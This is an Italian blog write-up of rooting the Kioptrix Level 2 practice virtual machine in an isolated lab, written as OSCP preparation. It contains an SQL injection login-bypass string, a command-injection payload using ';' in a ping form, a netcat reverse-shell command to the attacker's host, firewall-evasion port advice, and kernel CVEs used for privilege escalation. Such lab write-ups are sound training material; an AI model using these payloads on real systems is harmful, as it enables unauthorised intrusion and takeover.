Getting Root: Kioptrix livello 2
Il secondo livello di Kioptrix non presenta particolari difficoltà. Fa parte di quelle macchine che sto usando per ricostruire l’autostima in vista della prossima OSCP.
Kioptrix Livello 2
Continuiamo la serie Kioptrix ed arriviamo al livello 2 disponibile qui.
Anche questa macchina virtuale è un box Linux su cui è montata una distribuzione CentOS obsoleta.
Setup dell’ambiente
Per iniziare, ho scaricato la versione corretta della macchina virtuale. La prima versione aveva infatti un bug nella web application. Ho lasciato configurato VirtualBox affinché esegua la mia Kali Linux e la macchina target in una rete ad hoc, isolata dal mondo esterno.
Questo si ottiene andando sulle preferenze di Virtual Box, selezionando Network ed il tab Host-only networks.
Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.
La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. La macchina 192.168.56.103 è il nostro target.
Recon
Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.
E’ stato lanciato anche un dirb, che però non ha trovato cose interessanti.
Takeover narrative
Cercando con searchexploit, qualche exploit già pronto per le versioni rilevate abbiamo che per CUPS c’è qualcosa che possa darmi una shell, mentre per Apache solamente un DoS.
Navigando sulla porta 80, ci viene presentato una maschera di login di uno pseudo portale amministrativo.
La pagina di login era facilmente bypassabile usando la combinazione di credenziali admin:foo or ‘1’=’1.
Una volta autenticati, ci viene presentata una maschera che ci permette di eseguire un ping su un indirizzo ip passato come parametro. Questo genere di funzionalità si presta spesso a problematiche di command injection, quando l’input non è validato correttamente.
Infatti, usando il carattere ‘;’ come separatore, siamo in grado di far eseguire il comando id.
Una shell non privilegiata sulla macchina fa sempre comodo come primo risultato, che ne pensate?
Bene, su una finestra di terminale, ho lanciato netcat in ascolto sulla porta 443 e poi ho cercato di fare una callback alla mia macchina.
Perché uso la 443? Preferisco usare porte di servizi conosciuti, per evitare problemi con eventuali firewall. Servizi come 21, 53, 80, 443 in uscita da un indirizzo IP, possono essere dei buoni candidati.
Dopo un po’ di tentativi di indovinare il path di netcat, sulla macchina target, sono riuscito ad ottenere la mia shell col comando 192.168.56.101; /usr/local/bin/nc 192.168.56.101 443 -e /bin/sh
Da dentro, il primo obiettivo è capire bene di quale distribuzione si sta parlando e soprattutto quale la versione del kernel. Questo ci permette in seguito di cercare l’exploit migliore per elevare i privilegi della nostra shell.
Cerco quindi exploit per CentOS 4.5 e sono abbastanza fortunato.
Visto che le macchine, per come è stato creato il mini laboratorio, non escono su Internet direttamente, carico gli exploit nella mia /var/www/html e usando wget li prelevo dal target.
Provo prima l’exploit per il CVE-2009-2698 ma, una volta caricato fallisce. Niente shell di root al primo tentativo.
Provo quindi con l’exploit per il CVE-2009-2692 e questa volta, dopo aver compilato e lanciato l’exploit ho più fortuna: sono root.
Ho cercato un po’ in lungo ed in largo la flag di questa macchina ma non l’ho trovata. Probabilmente l’autore non l’ha messa.
Spinoff
Andando a vedere il codice sorgente di /var/www/html/index.php è possibile ottenere la password di MySQL dell’utente john.
E connettersi con successo al database MySQL.
Andando più a fondo è stato possibile trovare le hash delle password degli utenti del piccolo portale.
Ed infine è stato possibile risalire alla password di root su MySQL che è hiroshima.
Off by one
Anche questo livello 2 di Kioptrix non ha presentato grosse difficoltà. Resta il punto aperto del perché l’exploit per il CVE-2009-2698 non abbia funzionato, ma non ho investigato nel dettaglio, visto lo scopo di queste esercitazioni.
Il livello 3 di Kioptrix mi aspetta.
Enjoy it!
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto